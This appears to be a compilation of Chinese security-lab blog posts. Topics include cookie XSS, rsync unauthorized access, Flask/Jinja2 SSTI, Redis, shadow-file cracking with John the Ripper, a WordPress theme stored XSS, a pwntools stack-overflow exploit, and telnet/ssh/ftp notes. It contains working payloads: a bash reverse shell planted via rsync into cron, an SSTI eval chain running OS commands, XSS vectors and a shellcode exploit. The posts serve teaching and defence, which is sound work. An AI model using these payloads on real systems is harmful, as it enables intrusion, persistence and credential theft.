XSS via HTTP Headers

XSS via HTTP Headers

​ 在看到BRUTE XSS有一个通过HTTP Headers进行XSS的练习,觉得蛮有意思的,也特别适合当作XSS的入门练习题,我来记录下,有需要的童鞋可以来围观下!

​ 先来说下HTTP Headers XSS,一般在某些情况下,对来自应用程序的某个HTTP头部中的数据未做一些正确的过滤处理,从而就会产生XSS的情况。

​ 我们来看下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<body>
<?php
$name = $_COOKIE["name"];
if ($name) {
echo "<p>welcome,$name!</p>";
}
else {
echo "<p>welcome guest!</p>";
}
?>
</body>
</html>

​ 通过分析源码,我们可以看到PHP代码未对HTTP cookie做任何的过滤或者处理,直接将cookie中的name字段echo到页面,那么此处就会存在XSS。

我们先跑起来环境,如下图

正常情况下,我们访问到的页面如上图所示,我们也可以通过curl来访问;

接下来,我们通过curl 向HTTP Header的cookie注入XSS

我们已经看到,XSS脚步已经通过cookie注入显示到页面了,已经可以完美XSS了,对!弹框必须有

构建Linux可读写文件系统

构建 Linux 可读写文件系统

​ 最近拿到一个iot设备的root shell 后,并且该文件系统是只可读的,但是想把设备的固件通过shell提取出来,通过adb pull仅仅只能提取出部分的文件系统,而不是整个完整的文件系统,那么在这种情况下,我们该如何提取完整的固件系统,下面我记录下我们提取的过程:

0x00 嵌入式linux启动过程

​ 首先,我们先来看一下相关的知识,我们就拿由 BootLoader、kernel、initrd、rootfs 组成的 Linux Image 来描述,它们共同存在于一个可以启动的存储设备中(本文以 USB 为例)。组成架构如下:

​ 图一:可启动Linux 镜像文件结构

各模块的作用:

  1. Bootloader:由 BIOS 加载,用于将后续的 Kernel 和 initrd 的装载到内存中;
  2. kernel:为 initrd 运行提供基础的运行环境;
  3. initrd:检测并加载各种驱动程序;
  4. rootfs:根文件系统,用户的各种操作都是基于这个被最后加载的文件系统;

在启动过程中,其各个模块的调用顺序是 Boot Loader->kernel->initrd->rootfs

​ 当机器上电时首先 BIOS 会启动,然后装载 USB 设备中的 Boot Loader、kernel,、nitrd 到内存中,由于这些文件大小总和小于 10M,所以我们直接拷贝到内存中再执行不会有问题。

最后要加载的 rootfs 是用户最终进行读写操作的文件系统。

  • 在非嵌入式系统中,这部分文件通常储存在可直接读写的硬盘上,因此直接挂载到根目录后(例如:mount /dev/sda1 /mnt)就可以进行读写操作。
  • 在嵌入式系统中,它是一个压缩的文件系统,大小通常是好几百兆,解压后的大小都超过 1G,如果直接 mount 到系统目录,那么系统目录是只读的,不可进行写入操作。而如果把它加压到内存中可以实现读写的操作,但是这么大的文件直接解压到内存中对于嵌入式设备来说是不可接受的。因此我们需要找到一种不拷贝 rootfs 到内存中,同时又可以对最终的根文件系统进行读写的方法。

0x01 SquashFS只读文件介绍

​ SquashFS 是一个只读的文件系统,它可以将整个文件系统压缩在一起,存放在某个设备,某个分区或者普通的文件中。如果您将其压缩到一个设备中,那么您可以将其直接 mount 起来使用,而如果它仅仅是个文件的话,您可以将其当为一个 loopback 设备使用。

​ 从上面我重点标记的这句话就可以知道,对这种固件的提取能不能采用这种办法呢?可以不可以呢,试试不就好了!

0x02 拷贝完整的固件文件并压缩为完整文件系统

​ 首先我们按步骤来创建出该固件的完整的备份:

  1. 步骤 1-创建空的根文件系统,文件系统的大小为 65536 × 24000/1024/1024=1.5G。接下来我们会在这个空的根文件系统中存放文件。

    1
    2
    dd if=/dev/zero of=rootfs bs=65536 count=24000 
    mke2fs -F rootfs

    [^dd]: dd: 读取源文件的内容并创建一个新文件,if 指定源文件内容,of 指定新文件名字,bs 和 count 指定新文件的大小 mke2fs: 将新创建的 rootfs 格式化为 Linux 可识别的文件系统

  2. 步骤 2-挂载空的根文件系统,将 1.5G 的文件系统挂载在 mnt 目录下,然后通过 mnt 目录将内容写入根文件系统

    1
    2
    3
    挂载空的根文件系统
    mkdir mnt
    mount rootfs mnt -o loop
  3. 步骤 3-拷贝根文件目录的内容到文件系统

    1
    2
    3
    拷贝根文件目录统
    cp -rp yourRootDir mnt
    umount mnt
  4. 拷贝完后根文件系统的内容后,完成根文件系统的创建,这时的 rootfs 没有被压缩,接下来我们用工具将其压缩成 Squash 格式的文件系统

    1
    2
    3
    mkdir squashfs-dir 
    mv rootfs squshfs-dir
    mksquashfs-4.1 squashfs-dir squashRootfs

    [^mksquashfs-4.1]: mksquashfs-4.1 是在安装 Squash 工具的过程中生成的命令,用于将一个文件夹下的内容打包并压缩成一个文件系统。其后第一个参数为文件夹,第二个参数为生成的文件系统。

0x03 制作为ext4文件系统

​ 上面我们把提取出来的文件制作为Squash 格式的文件系统,我们还可以制作为我们想要制作的格式的文件系统,例如,我们可以制作为ext4文件系统,同理按照我们下面的步骤;

  1. 步骤1-新建目录rootfs_tmp文件,用于临时挂载文件系统

    1
    mkdir -p rootfs_tmp
  2. 步骤2-制作一个128M(128x1024=131072)的ext4空白文件:

    1
    dd if=/dev/zero of=rootfs.ext4 bs=1024 count=131072
  3. 再将新建的rootfs.ext4文件格式化为ext4格式:

    1
    sudo mkfs.ext4 rootfs.ext4
  4. 将rootfs.ext4文件挂载到前面新建的临时目录rootfs_tmp,注意这里要使用mount –o loop的属性,表示要把rootfs.ext4当作硬盘分区挂载到rootfs_tmp:

    1
    sudo mount -o loop rootfs.ext4 ./rootfs_tmp
  5. 这时,我们就可以给rootfs.ext4填充内容了。执行如下指令拷贝文件系统内容:

    1
    2
    cd ./rootfs_tmp
    cp -avrf ../busybox_rootfs/* ./
  6. 拷贝完后,卸载挂载的rootfs.ext4文件,即完成了文件系统的制作:

    1
    sudo umount ./rootfs_tmp

这样就完成ext4格式的rooffs文件系统的制作。

通过这种方式我们就可以提取出整个完整的固件!感觉一般没什么用,觉得好玩就记录下来。

0x04 参考链接

rsync 未授权访问漏洞复现

你也一定是某个人翘首以盼的惊喜!

最近在渗透环境中有遇到Rsync端口开放的,所以刚好也来复现下这个漏洞,亦当记录笔记:

0x00 漏洞介绍

RsyncLinux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

0x01 环境搭建

环境搭建我依然用vulhub,简直太好了!

同样我们进入到/vulhub-master/rsync/common目录下,编译及运行rsync服务器:

1
2
docker-compose build
docker-compose up -d

但在编译的时候有报错

解决:在Dockerfile文件中add 这一行

1
RUN printf "deb http://archive.debian.org/debian/ jessie main\ndeb-src http://archive.debian.org/debian/ jessie main\ndeb http://security.debian.org jessie/updates main\ndeb-src http://security.debian.org jessie/updates main" > /etc/apt/sources.list

接着我们继续来看看rsync的常用命令:

1
2
3
4
5
6
7
8
列举整个同步目录或指定目录:
rsync ip::
rsync ip::xxx/
下载文件或目录到本地:
rsync -avz ip::xxx/xx.php /root
rsync -avz ip::xxx/ /var/tmp
上传文件到服务器:
rsync -avz webshell.php ip::web/

0x02 漏洞复现

nmap先扫一波:

1
2
3
4
rsync rsync://your-ip:873/
rsync rsync://your-ip:873/src 来查看模块名列表
我们再列出src模块下的文件
rsync rsync://your-ip:873/src/

1
2
我们可以下载任意文件:
rsync -av rsync://your-ip:873/src/etc/passwd ./

提权:

写入shell并赋权:

1
2
3
4
#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1

chmod +x shell

shell上传至/etc/cron.hourly

1
2
rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell

本地监听:

1
nc -nvv -lp 4444

0x03 防范与总结

这种未授权访问漏洞,一般都是在配置的时候,未能实现安全配置或权限认证而导致的,所以我们先来看看rsync的文件配置与认证方式。rsync的默认配置文件为/etc/rsyncd.conf,常驻模式启动命令的rsync -daemon,启动成功后默认监听于TCP端口873,可通过rsync的守护及SSH两种方式进行认证。

我们来看下含有漏洞的rsync的文件的配置

rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。所以问题就出在这。

我们来看下配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
配置文件位置:/etc/rsync.conf,常见配置项

motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。

漏洞修复:

  • 正确配置认证用户名或者密码
  • 使用足够但最小权限
  • host allow/deny 来控制接入源IP
  • 可以配置只读
  • 非必要应该仅限制配置路径下可访问

0x04 参考

【1】https://github.com/vulhub/vulhub/tree/master/rsync/common

【2】https://superuser.com/questions/1423486/issue-with-fetching-http-deb-debian-org-debian-dists-jessie-updates-inrelease/1424377%EF%BC%89

【3】https://blog.csdn.net/qq_36374896/article/details/84143428

Flask(Jinja2) 服务端模板注入漏洞

陪你走过那山高水长

陪你一起生长

周末拈来一本书,刚好看到之前学习的Flask,今天刚好来学习下服务器模板注入(SSTI),来记录一下:

0x00 漏洞介绍

服务端模板注入(SSTI):服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题,所以永远不要相信用户输入。

Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers’ internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.[from us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp]

0x01 环境搭建

Vulhub简直不要太方便了

在ubuntu16.04下安装docker/docker-compose:

1
2
3
4
5
6
7
8
9
10
11
# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3

# 安装最新版docker
curl -s https://get.docker.com/ | sh

# 启动docker服务
service docker start

# 安装compose
pip install docker-compose
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

# 进入某一个漏洞/环境的目录
cd flask/ssti

# 自动化编译环境
docker-compose build

# 启动整个环境
docker-compose up -d

#测试完成后,删除整个环境

docker-compose down -v

0x02 漏洞复现

搭建环境完成后,访问http://your-ip/?name=66,得到66,说明SSTI漏洞存在。

在这种漏洞下,我们可以获取到inja2中可以获取的数据,jinja2设计被运行在沙箱中,来以保证安全,若我们能逃逸jinja2的沙箱,那么我们就可以实现命令执行让对方服务器运行我们指定的恶意代码,以达到getshell或者文件读取的目的。

沙箱逃逸部分有时间补上!

接下来获取eval函数并执行任意python代码。[poc来自github]

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

0x03 防范与总结

  • 始终不要相信用户输入,将用户输入传递到模板当中,或者对输入的数据进行过滤与转义

  • 将模板内容与view代码分离

  • 最好把模板和参数分离

0x04 参考

[1]https://github.com/vulhub/vulhub/tree/master/flask/ssti

[2]https://www.smi1e.top/flask-jinja2-ssti-%E5%AD%A6%E4%B9%A0/

[3]https://www.kingkk.com/2018/06/Flask-Jinja2-SSTI-python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

Redis未授权访问漏洞复现及利用总结

斯人若彩虹,遇上方知有

0x01 Redis介绍

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值(key-value)对存储 (store) 数据库。(基于 BSD 许可的,高级键值 (key-value) 缓存 (cache) 和存储 (store) 系统。)从2015年6月开始,Redis的开发由Redis Labs赞助,而2013年5月至2015年6月期间,其开发由Pivotal赞助。)在2013年5月之前,其开发由VMware赞助。根据月度排行网站DB-Engines.com的数据显示,Redis是最流行的键值对存储数据库。由于 Redis 的键包括 string,hash,list,set,sorted set,bitmap 和 hyperloglog,所以常常被称为数据结构服务器。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

0x02 环境搭建

1
2
3
4
5
6
#靶机:CentOS7.0
#CentOS安装redis
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

0x03 漏洞复现

0x04 填坑过程

安装Redis-3.2.0时报错:

make[1]: Entering directory `/home/fanson/redis-3.2.0/src’
​ CC adlist.o
In file included from adlist.c:34:0:
zmalloc.h:50:31: fatal error: jemalloc/jemalloc.h: No such file or directory

include <jemalloc/jemalloc.h>

compilation terminated.
make[1]: [adlist.o] Error 1
make[1]: Leaving directory `/home/fanson/redis-3.2.0/src’
make:
[all] Error 2

解决方法

Allocator

Selecting a non-default memory allocator when building Redis is done by setting the MALLOC environment variable. Redis is compiled and linked against libc malloc by default, with the exception of jemalloc being the default on Linux systems. This default was picked because jemalloc has proven to have fewer
fragmentation problems than libc malloc. To force compiling against libc malloc, use:

make MALLOC=libc  

To compile against jemalloc on Mac OS X systems, use:

make MALLOC=jemalloc

0x05 参考文献

https://xz.aliyun.com/t/256

https://www.anquanke.com/post/id/170360

https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html

http://redisinaction.com/preview/chapter1.html

linux下的/etc/passwd&&/etc/shadow

你会不会突然的出现,在街角的咖啡店!

最近有遇到对/etc/shadow中的密码进行爆破问题,但是却没有成功,之前记得也有过总结这个,却找不到了。无奈就过来再记录下,以免下次查阅!

/etc/passwd

/etc/passwd是系统识别用户的一个文件,这个文件存放着所有用户账号的信息。其中当然包括账号与密码。当我们以root这个账号登录时,系统首先会查阅 /etc/passwd 文件,看是否有root这个账号,然后确定root的UID,通过UID 来确认用户和身份。

/etc/passwd的文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root权限下执行查看
# cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:System daemons:/etc:
bin:x:2:2:Owner of system commands:/bin:
sys:x:3:3:Owner of system files:/usr/sys:
adm:x:4:4:System accounting:/usr/adm:
uucp:x:5:5:UUCP administrator:/usr/lib/uucp:
auth:x:7:21:Authentication administrator:/tcb/files/auth:
cron:x:9:16:Cron daemon:/usr/spool/cron:
listen:x:37:4:Network daemon:/usr/net/nls:
lp:x:71:18:Printer administrator:/usr/spool/lp:
sam:x:200:50:Sam san:/usr/sam:/bin/sh
1
2
root:x:0:0:root:/root:/bin/bash
用户名:密码:用户ID:组ID:用户描述:主目录:shell

系统中有一类用户称为伪用户(psuedo users),这些用户在/etc/passwd文件中也占有一条记录,但是不能登录,因为它们的登录Shell为空。它们的存在主要是方便系统管理,满足相应的系统进程对文件属主的要求。常见的伪用户如下:

bin 拥有可执行的用户命令文件
sys 拥有系统文件
adm 拥有帐户文件
uucp UUCP使用
lp lp或lpd子系统使用
nobody NFS使用

除了上面列出的伪用户外,还有许多标准的伪用户,例如:audit, cron, mail, usenet等,它们也都各自为相关的进程和文件所需要。

/etc/shadow

由于/etc/passwd文件是所有用户都可读的,如果用户的密码太简单或规律比较明显的话,一台普通的计算机就能够很容易地将它破解,因此对安全性要求较高的Linux系统都把加密后的口令字分离出来,单独存放在一个文件中,这个文件是/etc/shadow文件。 有超级用户才拥有该文件读权限,这就保证了用户密码的安全性。

/etc/shadow中的记录行与/etc/passwd中的一一对应,它由pwconv命令根据/etc/passwd中的数据自动产生

它的文件格式与/etc/passwd类似,具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# cat /etc/shadow

root:Dnakfw28zf38w:8764:0:168:7:::
daemon:*::0:0::::
bin:*::0:0::::
sys:*::0:0::::
adm:*::0:0::::
uucp:*::0:0::::
nuucp:*::0:0::::
auth:*::0:0::::
cron:*::0:0::::
listen:*::0:0::::
lp:*::0:0::::
sam:EkdiSECLWPdSa:9740:0:0::::
1
2
root:$36zQdAHKBxYr1lSPP26x1IhP6bOAigu7qO1ENtsyfxtU6hHvMdQMrgfxKhJ/ltkgAYwqA45ps/2HTF6saI/6gzLe7sF6kr1:16596:0:99999:6:::
登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志

后三个一般是没有的

“加密口令”字段存放的是加密[MD5,SHA-256,SHA-512]后的用户口令字,长度为13个字符。如果为空,则对应用户没有口令,登录时不需要口令;如果含有不属于集合 { ./0-9A-Za-z }中的字符,则对应的用户不能登录。

密码爆破

最后介绍下如何爆破,我们先来了解下linux系统密码加密的原理:

密文由3部分组成,以”$”分隔,第一部分为ID(用来表示加密的方法),第二部分为盐值,第三部分为加密密文

ID 加密方法
1 MD5
5 SHA-256
6 SHA-512

盐值:盐值就是使用随机字符码混合密码加密算法所产生的密码,作用就是即使是同一个密码,使用同一种加密方式,所产生的密文值也不同 。

工具爆破:John the Ripper (“JtR”) 是一个非常有用的工具。这是一个快速的密码破解器,适用于Windows和许多Linux系统。它具有很多功能,对于很多密码破解均有奇效。JtR破解的文件必须有特定的格式。要转换passwd和shadow文件,我们需要利用/usr/sbin/unshade可执行文件。这需要超级用户权限才能执行。

1
sudo /usr/sbin/unshadow /etc/passwd /etc/shadow > ~/passwords.txt
1
/usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt ~/passwords.txt

即可完成爆破。

该工具的详细是使用功能可见https://xz.aliyun.com/t/3958

Wordpress <= 4.6.1 Stored XSS Via Theme File

Wordpress <= 4.6.1 Stored XSS 漏洞复现

我多想再见你
哪怕匆匆一眼

​ 发现自己对web漏洞的一些点理解的还是不够深。所以准备复现一波web漏洞,加深自己对一些点的理解深度和巩固下知识!

0x00 漏洞概述

​ 首先,我们来了解下wordresssWordPress是一个以PHPMySQL为平台的自由开源的博客软件和内容管理系统,WordPress具有插件架构和模板系统,截至2018年4月,排名前1000万的网站超过30.6%使用WordPress[1]WordPress是最受欢迎的网站内容管理系统WordPress在最着名的网络发布阶段中脱颖而出。如今,它被使用在超过7000万个站点上。

WordPress用户可以安装和切换主题。主题可让用户不改变博客内容和结构的情况下更改界面和WordPress站点的功能。主题可以在WordPress的“外观”管理工具中安装,或者通过FTP上传至主题文件夹。也可以通过编辑主题中的PHPHTML代码自定义主题。而漏洞是一个后台存储型XSS漏洞,可以通过上传恶意构造的主题文件来触发。【上述内容来自维基百科】

0x01 环境搭建

​ 本来这个环境是很容易的搭的啊,但刚开始就是一直报错,到最后一直改了又改,最终还是

1
docker: Error response from daemon: Cannot link to a non running container

到最后一直改了又改,最终还是报错,无奈重新搭建,果然重建是第一生产力。

1
2
3
4
docker exec -it 0027a12dab6d /bin/bash  
vim /etc/mysql/conf.d/mysql.cnf
Redhat停止防火墙:service iptables stop
Ubuntu停止防火墙:ufw disable

最后终于搭建完成,命令如下

1
2
3
4
docker pull wordpress:4.6.1
docker pull mysql
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=fans0n -d mysql
docker run --name wp-wordpress --link wp-mysql:mysql -p 8080:80 -d wordpress:4.6.1

0x02 漏洞复现

​ 首先,我们先下载一个主题

1
2
wget https://downloads.wordpress.org/theme/illdy.1.0.29.zip
unzip -x illdy.1.0.29.zip

​ 并且对其illdy/style.css进行如下更改:

1
2
3
/*
Theme Name: <svg onload=alert(1234)>
*/

​ 接着更改文件夹名字再打包:

1
2
mv illdy "<svg onload=alert(fans0n)>"
zip -r theme.zip "<svg onload=alert(fans0n)>"

​ 构造好之后我们登录后台上传该主题文件,同时开始动态调试。

Pwn

周末看到了这道题,学习记录下来!

首先我们先来看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <unistd.h>

void init(){
setvbuf(stdout, NULL, _IOLBF, 0);
}

void welcome(){
write(1, "Welcome to zsctf!\n", 21);
}

void vuln(){
char buffer[8] = {0};
read(0, buffer, 0x40);
}

int main(){
init();
welcome();
vuln();
return 0;
}

通过看源码,能明显的看出,read()函数处存在明显栈溢出,接着我们来运行下程序,熟悉程序的各个功能。

检查该程序打开的保护措施

NX保护关闭,就更容易利用了

我们就可以来捋下大致的利用思路,通过read()函数,把shellcode读进去BBS段

接下来,我们就可以操作了;

用cyclic 100生成100个字符来覆盖返回地址,并将这些字符输入给程序来得到无效地址

结合cyclic -l 无效地址来得到返回地址,并将shellcode放入该返回地址处

通过ida找到bbs段的地址

结合pwntools,构造rop,写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import time

bss_add = 0x804A024 #通过ida找到的bbs段的地址
proc = './static'
context.binary = proc
shellcode = asm(shellcraft.sh())
p = process(proc)
p.recvuntil("Welcome to zsctf!")
rop = ROP(proc)
rop.read(0,bss_add+0x100,len(shellcode))
rop.call(bss_add+0x100)
p.send('a'*20 + str(rop))
time.sleep(1)
p.send(shellcode)
p.interactive()

最终成功获得shell

本文为听b站莫笑老师的笔记记录吧

一些常用服务的linux-command

telnet

登录远程主机和管理(测试ip端口是否连通)

telnet命令 用于登录远程主机,对远程主机进行管理。telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了。但仍然有很多别的系统可能采用了telnet方式来提供远程登录,因此弄清楚telnet客户端的使用方式仍是很有必要的。

语法:

telnet(选项)(参数)

选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-8:允许使用8位字符资料,包括输入与输出;
-a:尝试自动登入远端系统;
-b<主机别名>:使用别名指定远端主机名称;
-c:不读取用户专属目录里的.telnetrc文件;
-d:启动排错模式;
-e<脱离字符>:设置脱离字符;
-E:滤除脱离字符;
-f:此参数的效果和指定"-F"参数相同;
-F:使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机;
-k<域名>:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名;
-K:不自动登入远端主机;
-l<用户名称>:指定要登入远端主机的用户名称;
-L:允许输出8位字符资料;
-n<记录文件>:指定文件记录相关信息;
-r:使用类似rlogin指令的用户界面;
-S<服务类型>:设置telnet连线所需的ip TOS信息;
-x:假设主机有支持数据加密的功能,就使用它;
-X<认证形态>:关闭指定的认证形态。

参数

  • 远程主机:指定要登录进行管理的远程主机;
  • 端口:指定TELNET协议使用的端口号。

实例

1
2
3
4
5
6
7
8
9
10
$ telnet 192.168.2.10
Trying 192.168.2.10...
Connected to 192.168.2.10 (192.168.2.10).
Escape character is '^]'.

localhost (Linux release 2.6.18-274.18.1.el5 #1 SMP Thu Feb 9 12:45:44 EST 2012) (1)

login: root
Password:
Login incorrect

一般情况下不允许root从远程登录,可以先用普通账号登录,然后再用su -切到root用户。

1
2
3
4
$ telnet 192.168.188.132
Trying 192.168.188.132...
telnet: connect to address 192.168.188.132: Connection refused
telnet: Unable to connect to remote host

处理这种情况方法:

  1. 确认ip地址是否正确?

  2. 确认ip地址对应的主机是否已经开机?

  3. 如果主机已经启动,确认路由设置是否设置正确?(使用route命令查看)

  4. 如果主机已经启动,确认主机上是否开启了telnet服务?(使用netstat命令查看,TCP的23端口是否有LISTEN状态的行)

  5. 如果主机已经启动telnet服务,确认防火墙是否放开了23端口的访问?(使用iptables-save查看)

    启动telnet服务

1
service xinetd restart

配置参数,通常的配置如下:

1
2
3
4
5
6
7
8
9
10
service telnet
{
disable = no #启用
flags = REUSE #socket可重用
socket_type = stream #连接方式为TCP
wait = no #为每个请求启动一个进程
user = root #启动服务的用户为root
server = /usr/sbin/in.telnetd #要激活的进程
log_on_failure += USERID #登录失败时记录登录用户名
}

如果要配置允许登录的客户端列表,加入

1
only_from = 192.168.0.2 #只允许192.168.0.2登录

如果要配置禁止登录的客户端列表,加入

1
no_access = 192.168.0.{2,3,4} #禁止192.168.0.2、192.168.0.3、192.168.0.4登录

如果要设置开放时段,加入

1
access_times = 9:00-12:00 13:00-17:00 # 每天只有这两个时段开放服务(我们的上班时间:P)

如果你有两个IP地址,一个是私网的IP地址如192.168.0.2,一个是公网的IP地址如218.75.74.83,如果你希望用户只能从私网来登录telnet服务,那么加入

1
bind = 192.168.0.2

各配置项具体的含义和语法可参考xined配置文件属性说明(man xinetd.conf)

配置端口,修改services文件:

1
# vi /etc/services

找到以下两句

1
2
telnet 23/tcp
telnet 23/udp

如果前面有#字符,就去掉它。telnet的默认端口是23,这个端口也是黑客端口扫描的主要对象,因此最好将这个端口修改掉,修改的方法很简单,就是将23这个数字修改掉,改成大一点的数字,比如61123。注意,1024以下的端口号是internet保留的端口号,因此最好不要用,还应该注意不要与其它服务的端口冲突。

启动服务:

1
service xinetd restart

ssh

openssh套件中的客户端连接工具

ssh命令 是openssh套件中的客户端连接工具,可以给予ssh加密协议实现安全的远程登录服务器。

语法

1
ssh(选项)(参数)

选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-1:强制使用ssh协议版本1;
-2:强制使用ssh协议版本2;
-4:强制使用IPv4地址;
-6:强制使用IPv6地址;
-A:开启认证代理连接转发功能;
-a:关闭认证代理连接转发功能;
-b:使用本机指定地址作为对应连接的源ip地址;
-C:请求压缩所有数据;
-F:指定ssh指令的配置文件;
-f:后台执行ssh指令;
-g:允许远程主机连接主机的转发端口;
-i:指定身份文件;
-l:指定连接远程服务器登录用户名;
-N:不执行远程指令;
-o:指定配置选项;
-p:指定远程服务器上的端口;
-q:静默模式;
-X:开启X11转发功能;
-x:关闭X11转发功能;
-y:开启信任X11转发功能。

参数

  • 远程主机:指定要连接的远程ssh服务器;
  • 指令:要在远程ssh服务器上执行的指令。

实例

1
2
3
4
5
6
7
8
9
10
# ssh 用户名@远程服务器地址
ssh user1@172.24.210.101
# 指定端口
ssh -p 2211 root@140.206.185.170

# ssh 大家族
ssh user@ip -p22 # 默认用户名为当前用户名,默认端口为 22
ssh-keygen # 为当前用户生成 ssh 公钥 + 私钥
ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SSH2(default) PKCS8 PEM
ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys,之后可以免密登录

ftp

用来设置文件系统相关功能

ftp命令 用来设置文件系统相关功能。ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易。

语法

1
ftp(选项)(参数)

选项

1
2
3
4
5
-d:详细显示指令执行过程,便于排错或分析程序执行的情况;
-i:关闭互动模式,不询问任何问题;
-g:关闭本地主机文件名称支持特殊字符的扩充特性;
-n:不使用自动登录;
-v:显示指令执行过程。

参数

主机:指定要连接的FTP服务器的主机名或ip地址。

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ftp> ascii  # 设定以ASCII方式传送文件(缺省值) 
ftp> bell # 每完成一次文件传送,报警提示.
ftp> binary # 设定以二进制方式传送文件.
ftp> bye # 终止主机FTP进程,并退出FTP管理方式.
ftp> case # 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母.
ftp> cd # 同UNIX的CD命令.
ftp> cdup # 返回上一级目录.
ftp> chmod # 改变远端主机的文件权限.
ftp> close # 终止远端的FTP进程,返回到FTP命令状态, 所有的宏定义都被删除.
ftp> delete # 删除远端主机中的文件.
ftp> dir [remote-directory] [local-file] # 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件.
ftp> get [remote-file] [local-file] # 从远端主机中传送至本地主机中.
ftp> help [command] # 输出命令的解释.
ftp> lcd # 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录.
ftp> ls [remote-directory] [local-file] # 同DIR.
ftp> macdef # 定义宏命令.
ftp> mdelete [remote-files] # 删除一批文件.
ftp> mget [remote-files] # 从远端主机接收一批文件至本地主机.
ftp> mkdir directory-name # 在远端主机中建立目录.
ftp> mput local-files # 将本地主机中一批文件传送至远端主机.
ftp> open host [port] # 重新建立一个新的连接.
ftp> prompt # 交互提示模式.
ftp> put local-file [remote-file] # 将本地一个文件传送至远端主机中.
ftp> pwd # 列出当前远端主机目录.
ftp> quit # 同BYE.
ftp> recv remote-file [local-file] # 同GET.
ftp> rename [from] [to] # 改变远端主机中的文件名.
ftp> rmdir directory-name # 删除远端主机中的目录.
ftp> send local-file [remote-file] # 同PUT.
ftp> status # 显示当前FTP的状态.
ftp> system # 显示远端主机系统类型.
ftp> user user-name [password] [account] # 重新以别的用户名登录远端主机.
ftp> ? [command] # 同HELP. [command]指定需要帮助的命令名称。如果没有指定 command,ftp 将显示全部命令的列表。
ftp> ! # 从 ftp 子系统退出到外壳。

关闭FTP连接

1
2
3
bye
exit
quit

下载文件

1
2
ftp> get readme.txt # 下载 readme.txt 文件
ftp> mget *.txt # 下载

上传文件

1
2
ftp> put /path/readme.txt # 上传 readme.txt 文件
